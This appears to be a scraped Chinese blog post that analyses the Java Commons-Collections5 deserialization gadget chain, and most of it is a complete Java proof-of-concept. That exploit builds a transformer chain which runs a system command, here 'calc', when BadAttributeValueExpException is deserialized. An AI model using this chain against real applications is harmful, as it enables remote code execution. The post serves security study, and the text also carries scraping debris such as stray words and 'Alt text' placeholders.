java反序列化Commons-Collections5分析

BadAttributeValueExceptionphp

package org.lain.poc;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import javax.management.BadAttributeValueExpException;

import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class Poc {
    public static void main(String[] args) throws Exception {

        Transformer[] transformers = new Transformer[] {
                //傳入Runtime類
                new ConstantTransformer(Runtime.class),
                //反射調用getMethod方法,而後getMethod方法再反射調用getRuntime方法,返回Runtime.getRuntime()方法
                new InvokerTransformer("getMethod",
                        new Class[] {String.class, Class[].class },
                        new Object[] {"getRuntime", new Class[0] }),
                //反射調用invoke方法,而後反射執行Runtime.getRuntime()方法,返回Runtime實例化對象
                new InvokerTransformer("invoke",
                        new Class[] {Object.class, Object[].class },
                        new Object[] {null, new Object[0] }),
                //反射調用exec方法
                new InvokerTransformer("exec",
                        new Class[] {String.class },
                        new Object[] {"calc"})
        };

        Transformer transformerChain = new ChainedTransformer(transformers);

        Map innerMap = new HashMap();
        Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
        //decorate實例化LazyMap類。
        // LazyMap類的get方法調用了transform,transform能夠通過反射機制執行命令
        TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");  //TiedMapEntry中調用了toString方法->調用了map的get方法
        BadAttributeValueExpException poc = new BadAttributeValueExpException(null); //BadAttributeValueExpException的構造方法調用toString方法

//         val是私有變量,因此利用下面方法進行賦值,val變量賦值爲TiedMapEntry的實例化對象,
//         重寫了BadAttributeValueExpException的readObject方法的val變量賦值爲BadAttributeValueExpException類,
//         就會調用BadAttributeValueExpException的val = valObj.toString();觸發上面的
        Field valfield = poc.getClass().getDeclaredField("val");
//        System.out.println(valfield);
        valfield.setAccessible(true);
        valfield.set(poc, entry);

        File f = new File("poc.txt");
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
        out.writeObject(poc);
        out.close();

        //從文件中反序列化obj對象
        FileInputStream fis = new FileInputStream("poc.txt");
        ObjectInputStream ois = new ObjectInputStream(fis);
        //恢復對象
        ois.readObject();
        ois.close();

    }
}

參考連接的第一篇文章主要寫的是poc怎麼構造的,思路很清晰了,這篇文章從逆向分析,看下怎麼反序列的。調用鏈以下:html

BadAttributeValueException.readObject -> TiedMapEntry.toString -> LazyMap.get -> ChainedTransformer.transformjava

執行BadAttributeValueException.readObject前,把val賦值爲TiedMapEntry這個類apache

Field valfield = poc.getClass().getDeclaredField("val");
        valfield.setAccessible(true);
        valfield.set(poc, entry);

就會調用TiedMapEntry類的toString方法。 Alt text Alt text 調用getValue又調用get方法 Alt text map賦值給lazyMapless

Map innerMap = new HashMap();
        Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

這就調用了lazyMap的get方法,factory賦值爲transformerChain,這就調用了transformerChain.transform(key); Alt text transform方法 Alt text 參考連接: https://p0sec.net/index.php/archives/121/ https://lightless.me/archives/java-unserialization-apache-commons-collections.htmlurl

相關文章
相關標籤/搜索